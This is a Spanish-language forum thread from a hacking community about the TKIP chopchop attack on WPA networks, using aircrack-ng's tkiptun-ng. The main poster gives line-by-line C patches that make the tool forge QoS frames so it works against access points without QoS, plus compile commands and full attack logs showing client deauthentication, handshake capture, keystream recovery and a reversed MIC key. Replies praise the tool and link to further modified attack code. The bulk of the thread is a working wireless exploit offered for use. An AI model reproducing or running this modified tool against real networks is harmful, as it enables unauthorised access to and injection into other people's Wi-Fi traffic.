WPA + TKIP. Probando con tkiptun-ng

Foro sobre todo tipo de tecnologías Wireless: Wi-Fi, Bluetooth, IrDA

Moderador: Moderadores

Notapor Aleks » Jue Jun 25, 2009 12:12 pm

Tengo una duda sobre lo que hace esto. Para enviar el ARP trucado, ¿interviene para algo la red cableada a la que está conectado el atacante? lo digo porque en un router tengo separados los clientes de la red cableada de la inalámbrica, pertenecen a una red distinta dentro del mismo router.
Avatar de Usuario
Aleks
:-)
:-)
 
Mensajes: 5
Registrado: Jue Jun 25, 2009 12:52 am
Ubicación: Zamora

Notapor Vic_Thor » Vie Jun 26, 2009 7:34 pm

Empiezo resolviendo "esa duda" que planteas Aleks

La respuesta (técnica) es simple... dos redes separadas no comparten el mismo dominio de difusión por tanto el acceso al medio de una y otra en capa 2 están separadas.

La respuesta rápida es que no puedes.

Otra cosa es como funcinan determinados routers de este tipo.... eso será para estudiarlo con mas detenimiento, pero en principio no se puede.

Ahora... al tajo:

tkiptun SIN QoS !!!!!

Descargamos la versión con la que he trabajado:

http://download.aircrack-ng.org/aircrac ... rc3.tar.gz

y tras descomprimir editamos el archivo tkiptun-ng.c

Ahora vamos a modificar el código original... empiezo de abajo arriba para que el número de línea se mantenga...

Las líneas 4398 y 4399 pueden ser comentadas Si queremos obtener el MIC KEY equivalente de la respuesta!!!

Código original:

Código: Seleccionar todo
build_arp_request(h80211, &caplen, 0); //writes encrypted tkip arp request into h80211
send_packet(h80211, caplen);


Código modificado:

Código: Seleccionar todo
// build_arp_request(h80211, &caplen, 0); //writes encrypted tkip arp request into h80211
// send_packet(h80211, caplen);


Líneas 4362 y 4335 dentro del bucle while... se comenta!!! puesto que si el Punto de Acceso no tiene habilitado QoS nunca se cumple la condición if y no se sale jamás del ciclo... se quedaría indefinidamente esperando un paquete QoS que no llegará.

Código Original:
Código: Seleccionar todo
while(1)
    {
        if( capture_ask_packet( &caplen, 0 ) != 0 )
            return( 1 );
        if( is_qos_arp_tkip(h80211, caplen) == 1 )
            break;
    }


Código Modificado

Código: Seleccionar todo
while(1)
    {
        if( capture_ask_packet( &caplen, 0 ) != 0 )
            return( 1 );
       // if( is_qos_arp_tkip(h80211, caplen) == 1 )
            break;
    }


Líneas 2318 2319

Código original

Código: Seleccionar todo
chopped[24] ^= 0x01;
chopped[25] = 0x00;


Las cambiamos por. código modificado:

Código: Seleccionar todo
/* CAMBIAR la prioridad/colas  QoS */

    if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
{
    chopped[24] ^= 0x01; //cambia cola QoS
    chopped[25] = 0x00;
}


Lo explico un poco...

La condiciñon if detectará si se trata de un paquete QoS o no... Los paquetes QoS tienen activados los 4 bits mas significativos del primer byte de la trama (contamos desde cero, el primer byte es chopped[0] y no chopped[1])

Pero los otros cuatro bits pueden tener diferentes valores, normalmente un paquete de datos QoS es 0x88 pero eso si es de datos y nadie nos asegura que lo sea.

Por tanto, hacemos una operación AND del primer byte contra 0x80, de tal forma que "lo que sea" AND 0x80 será 0x80 siempre que el primer octeto de ese byte comience por 8 (QoS).

Ejemplos:

88 AND 80 = 80 <--- es QoS
82 AND 80 = 80 <--- es QoS
78 AND 80 = 00 <--- no es QoS
08 AND 80 = 00 <--- no es QOS


Este primer byte de una trama cualquiera 802.11 se llama FC (Frame Control) y define muchas "cosas", si es un paquete de datos, el tipo, el subtipo de datos, si es QoS, si es un Beacon, una autenticación, etc... dejo para otro post (que este ya es suficientemente denso) una explicación pormenorizada de los posibles valores del frame control... de momento nos tenemos que creer que una trama que contiene datos no QoS comienza por 0x08 y una trama que contiene datos con QoS es 0x88.

Como lo que vamos es a forjar un paquete QoS "a medida" y el verdadero punto de acceso no usa QoS, pues... si recibimos un paquete QoS (del verdadero Punto de acceso o uno de los que forjaremos) cambiamos la prioridad de la cola QoS...

Puedes preguntar... "Si forjamos un paquete QoS para qué el if??... siempre será QoS, no?

Pues sí... NUESTROS paquetes van a ser QoS, seguro... pero nadie nos asegura que el verdadero punto de acceso envíe paquetes no QoS... que seguro que lo hace porque no está habilitado, por tanto, si el paquete no es QoS, los bytes 24 y 25 no se corresponden con la cola QoS si no con "otra cosa", concretamente estaremos variando el número de sequencia y no la cola QoS.

Ahora debemos INSERTAR a partir de la línea 2196, antes de una que dice:

Código: Seleccionar todo
  z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;


INSERTAMOS ESTO:

Código: Seleccionar todo
 if ( ( h80211[0] & 0x80 ) != 0x80 ) /* si NO es QoS forzamos que lo sea*/
   {
   /* FORZAMOS un paquete QoS del AP al cliente  */   

caplen=src_packet_len+2; // Los paquetes QoS tienen 2 bytes añadidos para la cola
src_packet_len=caplen;
memset (noQOS,0,4096); //hacemos cero un buffer temporal
memcpy (noQOS, h80211,4096); //copiamos el paquete original (no QoS) al buffer temporal
noQOS[0]=0x88; // El primer byte de un paquete QoS es 0x88 -> Lo forzamos.
memcpy (noQOS+26, h80211+24,4096); // copiamos desde el byte 24 del paq. original en el buffer +26
noQOS[24] = 0x00;  //cambiar la cola QoS. Normalmente la primera cola es cero
noQOS[25] = 0x00;  //cambiar la cola QoS. Normalmente la primera cola es cero
memcpy (h80211,noQOS, 4096); // Copiamos el contenido del temporal al paq. original -> QoS forge.

   }

/* Explicación más detallada
*****************************

El paquete original tiene una longitud (p.e. de 80 bytes) un paquete QoS (siguiendo el ejemplo) debe ser de 82.

Un paquete QoS define 2 bytes añadidos en las posiciones 24 y 25 para la gestión de la cola QoS.

Como el paquete original no es QoS, tenemos que copiar al buffer los primeros 23 bytes del paquete original
estos primeros 23 bytes serán idénticos con QoS o sin él !!!!.

Los bytes 24 y siguientes del paquete original se copian en los bytes 26 y siguientes del buffer temporal
de este modo obtenemos un paquete "copia" el temporal con la QoS a cero.

Resumiendo: Lo que hacemos es INSERTAR!!! 2 bytes nuevos entre las posiciones 24 y 25 del paquete original
que no son otra cosa que una cola QoS forjada.

---------
RECORDAD: La cuenta de bytes empieza desde cero, osea, byte 24 es el byte 25 si contamos desde uno,
---------

La cola QoS se deja a cero porque es en la línea eqiquetada: CAMBIAR la prioridad/colas QoS donde se modifica
tanto si el paquete original era QoS como si es un paquete forjado de la forma anterior.

*/


Aqui no comento, nada... ya está dicho en en el propio código ;) Sólo decir que se una una variable llamada noQOS que definiremos mas adelante.

Líneas 764, se comentan para permitir que se capturen y se procesen paquetes que no sean QoS.

Código original:

Código: Seleccionar todo
/* check the frame control bytes */

    if( ( h80211[0] & 0x80 ) != 0x80 )
        return( 1 );    //no QoS packet


Código modificado:

Código: Seleccionar todo
  /* check the frame control bytes */

  //  if( ( h80211[0] & 0x80 ) != 0x80 )   // Esta línea y la siguiente se comenta ignorar si el paquete no es QoS
  //      return( 1 );    //no QoS packet


Línea 753, se comenta... es un control para averiguar si el paquete es QoS o no... debemos comentarlo por lo dicho anteriormente,

Código Original:

Código: Seleccionar todo
if(!qos) return(1);


Código modificado:

Código: Seleccionar todo
   // if(!qos) return(1);


En la línea 361 AÑADIMOS:

Código: Seleccionar todo
unsigned char  noQOS[4096]; // Este será el buffer temporal para forjar paquetes QoS si no está habilitado


que obviamente es la variable que nos faltaba por definir como se dijo antes....

Y ya está todo... Lo he probado con todas las combinaciones, es decir:

QoS activado en punto de acceso y cliente QoS (esto ya lo hacía el original, 100% efectivo)
QoS desactivado en el punto de acceso y cliente QoS activado (100% efectivo)
QoS desactivado en el punto de accesos y cliente sin QoS (85% efectivo)
QoS activado en el punto de acceso y cliente sin QoS. (no lo probé)

Este es el ejemplo:

Código: Seleccionar todo
bt src # gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o tkiptun-ng.o tkiptun-ng.c
bt src # tkiptun-ng_no_qos -a 00:16:B6:41:03:5D  -h 00:17:9A:C3:D6:B9 -m 70 -n 100 -e WCASA eth1
The interface MAC (00:02:6F:35:DE:56) doesn't match the specified MAC (-h).
        ifconfig eth1 hw ether 00:17:9A:C3:D6:B9
Blub 2:38 E6 38 1C 24 15 1C CF
Blub 1:17 DD 0D 69 1D C3 1F EE
Blub 3:29 31 79 E7 E6 CF 8D 5E
19:56:19  Michael Test: Successful
19:56:19  Waiting for beacon frame (BSSID: 00:16:B6:41:03:5D) on channel 1
19:56:19  Found specified AP
19:56:20  Sending 4 directed DeAuth. STMAC: [00:17:9A:C3:D6:B9] [ 1| 1 ACKs]
19:56:23  WPA handshake: 00:16:B6:41:03:5D captured
19:56:23  Waiting for an ARP packet coming from the Client...
Saving chosen packet in replay_src-0626-195625.cap
19:56:25  Waiting for an ARP response packet coming from the AP...
Saving chosen packet in replay_src-0626-195625.cap
19:56:25  Got the answer!
19:56:25  Waiting 10 seconds to let encrypted EAPOL frames pass without interfering.

19:57:01  Offset   81 ( 0% done) | xor = 9B | pt = CA |  244 frames written in 200105ms
19:58:18  Offset   80 ( 2% done) | xor = 64 | pt = 48 |  160 frames written in 131199ms
19:59:22  Offset   79 ( 4% done) | xor = 23 | pt = 25 |   35 frames written in 28701ms
20:00:47  Offset   78 ( 7% done) | xor = 0E | pt = DF |  234 frames written in 191880ms
20:01:56  Offset   77 ( 9% done) | xor = D4 | pt = C1 |   88 frames written in 72160ms
20:03:23  Offset   76 (11% done) | xor = 2E | pt = 09 |  248 frames written in 203363ms
20:04:29  Offset   75 (14% done) | xor = F2 | pt = 6B |   62 frames written in 50836ms
20:05:52  Offset   74 (16% done) | xor = 2C | pt = BD |  210 frames written in 172199ms
20:07:06  Offset   73 (19% done) | xor = 19 | pt = 46 |  133 frames written in 109062ms
20:08:10  Offset   72 (21% done) | xor = FD | pt = C8 |   41 frames written in 33619ms
20:09:34  Offset   71 (23% done) | xor = A1 | pt = AC |  219 frames written in 179579ms
20:11:00  Offset   70 (26% done) | xor = B5 | pt = 64 |  243 frames written in 199260ms
Sleeping for 60 seconds.36 bytes still unknown
ARP Reply
Checking 192.168.x.y
Checking 10.0.y.z
Checking 172.16.y.z
20:14:20  Offset   69 (28% done) | xor = CD | pt = C8 |  218 frames written in 178760ms
Sleeping for 60 seconds.35 bytes still unknown
ARP Reply
Checking 192.168.x.y
Checking 10.0.y.z
20:14:23  Reversed MIC Key (FromDS): 5F:9B:C0:93:FC:AF:0B:E3

Saving plaintext in replay_dec-0626-201423.cap
Saving keystream in replay_dec-0626-201423.xor
20:14:23
Completed in 1068s (0.04 bytes/s)

20:14:23  AP MAC: 00:16:B6:41:03:5B IP: 10.10.10.245
20:14:23  Client MAC: 00:17:9A:C3:D6:B9 IP: 10.10.10.200
20:14:23  Sent encrypted tkip ARP request to the client.
20:14:23  Wait for the mic countermeasure timeout of 60 seconds.


Vale... me falta (para otro post) explicar:

* cómo es una trama 802.11, al estilo del taller TCP/IP, jajaja,

* cómo se generan los paquetes "trucados" usando el mismo tkiptun (hay que picar código de nuevo, pero poco... que el 90% ya está hecho, falta saber modificarlo )

Y nos acercamos muuuuchooooo.... a romper una WPA.

Saludos.

PD: si lo deseáis guardad las modificaciones con otro nombre, por ejemplo a tkiptun-ng_no_qos.c

y lo compiláis luego así:

Código: Seleccionar todo
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o tkiptun-ng_no_qos.o tkiptun-ng_no_qos.c 

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude tkiptun-ng_no_qos.o common.o crypto.o -o tkiptun-ng_no_qos -Losdep -losdep   -lssl -lcrypto 
Última edición por Vic_Thor el Vie Jun 26, 2009 8:19 pm, editado 1 vez en total
Vic_Thor
Gran Wadalbertita
Gran Wadalbertita
 
Mensajes: 855
Registrado: Vie Ene 28, 2005 11:56 pm

Notapor vlan7 » Vie Jun 26, 2009 8:09 pm

Enhorabuena tio...

Solo una cosa. Corrigeme si lo he entendido mal, pero no es que funcione el ataque sin QoS, ¿es que _forzamos_ QoS no?

Si es asi, el router tiene que soportar QoS ¿no? Quiero decir, funcionaria el ataque siempre que QoS sea _soportado_, esté QoS activado o no. ¿Es asi?

Gracias,
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Notapor Vic_Thor » Vie Jun 26, 2009 8:28 pm

He editado el post anterior porque en el código del "ataque" pegué uno de los fallidos en lugar del bueno... realmente no, pero estaba mezcado por el copy-paste...

En cuanto a la pregunta que me haces vlan7 no te lo puedo asegurar... pero me da que funcionará igual de bien (o de mal), por un motivo.,..

Es la tarjeta del "atacante" la que envía paquetes QoS modificados al cliente y no el punto de acceso.... por tanto creo que dará igual.

El chopped por tkiptun funciona por lo siguiente, tkip ya sabemos que usa un MIC y un checksum para "validar" los paquetes, bueno también está lo del TSC pero eso es otra historia...

Cuando el punto de acceso "detecta" un paquete con mic erróneo y checksum erróneo, lo descarta en silencio.

Si el paquete tiene un checksum válido y MIC erróneo, envía un Report MIC Failure y si detecta 2 en el mismo minuto renegocia claves, esto lo hace tanto si tiene QoS como si no... por tanto debería funcionar en cualquier caso...

Ahora bien... que hará un cliente sin QoS cuando recibe un informe de Mic erróneo de un paquete QoS que se forjó??? pues he ahí ese 15% de error que me ha dado...

Creo que dispongo de un AP sin QoS (ni soportado ni impolementado) lo probaré y te cuento.

Entonces... la pregunta del millón!!!

Por qué usamos QoS (soportado o no por el AP, impelmentado o no por el AP)

Respuesta: Porque si "acertamos" debemos mantener desconectado al cliente todo el tiempo del ataque, en otro caso el TSC cambia y no funcionará.

Tengo otro código que hace eso mismo... mantener desconectado al cliente... pero ufff!!! no va muy bien... estoy en ello.
Vic_Thor
Gran Wadalbertita
Gran Wadalbertita
 
Mensajes: 855
Registrado: Vie Ene 28, 2005 11:56 pm

Notapor Vic_Thor » Sab Jun 27, 2009 1:50 am

Bien, pues depués de una cena estupenda y de una espantosa película en el cine.... acabo de probarlo con un punto de acceso que no implementa QoS (al menos no aparece esa opción ni la de Wifi Multimedia) por ningún sitio...

y este es el resultado, lanzamos airodump (fijaros que no aparece la "e" del protocolo 802.11e (QoS) ni en la columna #Data correspondiente a la fila del BSSID, ni en la columna Rate de la fila de las estaciones asociadas.

Código: Seleccionar todo
bt src # airodump-ng wlan0 -w test -a -d 00:18:E7:35:47:9A -c 10

 CH 10 ][ Elapsed: 48 s ][ 2009-06-27 01:23

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:18:E7:35:47:9A    0  84      446      320    1  10  54   WPA  TKIP   PSK  NO_QoS

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes

 00:18:E7:35:47:9A  00:17:9A:C3:D6:B9    0    0 - 0      0      386
bt src #


Y luego nuestro tkiptun... saca tun que pen que sumum que tun que unta que tun (jejeje)

Código: Seleccionar todo
bt src # iwconfig eth1 channel 10
bt src # tkiptun-ng_no_qos -a 00:18:E7:35:47:9A  -h 00:17:9A:C3:D6:B9 -m 70 -n 100 -e NO_QoS eth1
The interface MAC (00:02:6F:35:DE:56) doesn't match the specified MAC (-h).
        ifconfig eth1 hw ether 00:17:9A:C3:D6:B9
Blub 2:38 E6 38 1C 24 15 1C CF
Blub 1:17 DD 0D 69 1D C3 1F EE
Blub 3:29 31 79 E7 E6 CF 8D 5E
01:21:17  Michael Test: Successful
01:21:17  Waiting for beacon frame (BSSID: 00:18:E7:35:47:9A) on channel 10
01:21:17  Found specified AP
01:21:17  Sending 4 directed DeAuth. STMAC: [00:17:9A:C3:D6:B9] [ 0| 4 ACKs]
01:21:20  WPA handshake: 00:18:E7:35:47:9A captured
01:21:21  Waiting for an ARP packet coming from the Client...
Saving chosen packet in replay_src-0627-012121.cap
01:21:21  Waiting for an ARP response packet coming from the AP...
Saving chosen packet in replay_src-0627-012123.cap
01:21:23  Got the answer!
01:21:23  Waiting 10 seconds to let encrypted EAPOL frames pass without interfering.

01:21:35  Offset   81 ( 0% done) | xor = 24 | pt = 2A |   20 frames written in 16424ms
01:23:02  Offset   80 ( 2% done) | xor = 88 | pt = EC |  241 frames written in 197621ms
01:24:26  Offset   79 ( 4% done) | xor = 62 | pt = BC |  226 frames written in 185319ms
01:25:26  Offset   78 ( 7% done) | xor = 7E | pt = CD |    2 frames written in  1642ms
01:26:33  Offset   77 ( 9% done) | xor = 9E | pt = 8B |   60 frames written in 49197ms
01:27:43  Offset   76 (11% done) | xor = 78 | pt = 95 |   89 frames written in 72981ms
01:28:58  Offset   75 (14% done) | xor = 39 | pt = 95 |  141 frames written in 115620ms
01:30:05  Offset   74 (16% done) | xor = E1 | pt = AA |   69 frames written in 56580ms
01:31:16  Offset   73 (19% done) | xor = 68 | pt = D2 |  106 frames written in 86920ms
01:32:43  Offset   72 (21% done) | xor = 28 | pt = 7D |  251 frames written in 205820ms
01:34:05  Offset   71 (23% done) | xor = 83 | pt = D8 |  197 frames written in 161540ms
01:35:28  Offset   70 (26% done) | xor = 8B | pt = AC |  209 frames written in 171379ms
Sleeping for 60 seconds.36 bytes still unknown
ARP Reply
Checking 192.168.x.y
01:35:28  Reversed MIC Key (FromDS): B1:3F:BB:05:03:0F:F9:D3

Saving plaintext in replay_dec-0627-013528.cap
Saving keystream in replay_dec-0627-013528.xor
01:35:28
Completed in 835s (0.05 bytes/s)

01:35:28  AP MAC: 00:18:E7:35:47:9A IP: 192.168.1.1
01:35:28  Client MAC: 00:17:9A:C3:D6:B9 IP: 192.168.1.100
01:35:28  Sent encrypted tkip ARP request to the client.
01:35:28  Wait for the mic countermeasure timeout of 60 seconds.


Perfecto!!! Tal y como esperaba ;)
Vic_Thor
Gran Wadalbertita
Gran Wadalbertita
 
Mensajes: 855
Registrado: Vie Ene 28, 2005 11:56 pm

Notapor vlan7 » Sab Jun 27, 2009 2:09 am

Duda resuelta, gracias.

:)

P.D. Me jode no poder jugar con esta herramienta porque estoy de vacaciones, y no tengo acceso a estos juegos donde estoy... :(

De todas formas el liston esta alto, muy alto, las caidas seran duras, el trayecto largo, pero con el tiempo los problemas se esfuman. Y es entonces cuando buscamos nuevos problemas para crear, y si no tenemos problemas a mano, los creamos jaja

Perdon por el rollo...

Suerte,
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Notapor NewLog » Dom Jun 28, 2009 9:12 pm

De nuevo... Plas, plas, plas.

En cuanto acabe de probar lo que escribiste en el hilo de wifi con WEP me pondré con esto.
Avatar de Usuario
NewLog
<|:-D
<|:-D
 
Mensajes: 1130
Registrado: Sab Ene 14, 2006 1:03 am

Notapor ANELKAOS » Mar Jun 30, 2009 7:42 pm

Joe, llevaba sin tocar el tkiptun casi 6 meses. Gran trabajo el de Mr. Tews & Martin Beck pero con el retoque de Vic_Thor resulta muchisimo mas útil :)

A las distros!! :badgrin:
Échame una firmita en: Imagen
Avatar de Usuario
ANELKAOS
:-)
:-)
 
Mensajes: 37
Registrado: Mié Ene 11, 2006 11:46 pm

Notapor NewLog » Mar Jun 30, 2009 11:18 pm

Mirad como corren las noticias:

Las noticias vuelan
Avatar de Usuario
NewLog
<|:-D
<|:-D
 
Mensajes: 1130
Registrado: Sab Ene 14, 2006 1:03 am

Notapor WiNeOS » Mar Sep 08, 2009 4:31 pm

Estáis al tanto de este documento?
http://jwis2009.nsysu.edu.tw/location/p ... %20WPA.pdf

Explica como mejorar el ataque sin necesidad de QoS, compatible con cualquier TKIP y en diez veces menos tiempo.
WiNeOS
:-)
:-)
 
Mensajes: 1
Registrado: Lun Sep 07, 2009 3:44 pm

Notapor vlan7 » Mar Sep 08, 2009 6:19 pm

Si, nuestro compañero Tuxed resumio bien ese enlace aqui:

LINK

Parece que tan solo es otra brecha mas... ;)

Saludos,
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Notapor vlan7 » Vie Sep 25, 2009 8:34 pm

Atencion.

Muy buen documento sobre todo esto y sobre mejoras a este ataque, como por ejemplo hacer un DoS o hacer replay de paquetes de mañor tamaño que ARP, por ejemplo DHCP.

Incluye codigo fuente modificado de tkiptun-ng para varios casos de ataque, y un pdf muy bueno para mi gusto sobre la brecha encontrada en TKIP de la que se habla en este hilo.

Bueno, el enlace es el siguiente:

http://download.aircrack-ng.org/wiki-files/doc/tkip_master.zip

Espero que os guste.

Suerte,
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Re: WPA + TKIP. Probando con tkiptun-ng

Notapor sergio » Vie Ene 02, 2015 6:06 am

sirve para wifislax y kali linux
sergio
:-)
:-)
 
Mensajes: 1
Registrado: Vie Ene 02, 2015 5:57 am

Re: WPA + TKIP. Probando con tkiptun-ng

Notapor Danyg » Lun Abr 13, 2015 2:53 pm

Wow! Esto me va a tomar un buen tiempo para entenderlo! Pero muchísimas gracias!! Tremendo trabajo
Avatar de Usuario
Danyg
:-)
:-)
 
Mensajes: 10
Registrado: Vie Abr 10, 2015 11:46 am

Re: WPA + TKIP. Probando con tkiptun-ng

Notapor mariam » Vie Sep 04, 2015 3:44 pm

Increible ;) , Finalmente encontré una solución
¡Vivan las profundidades de internet y su infinito! Aficionados de Localizador de moviles.
mariam
:-)
:-)
 
Mensajes: 2
Registrado: Vie Sep 04, 2015 3:10 pm

Anterior

Volver a Zona Inalámbrica

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 1 invitado

cron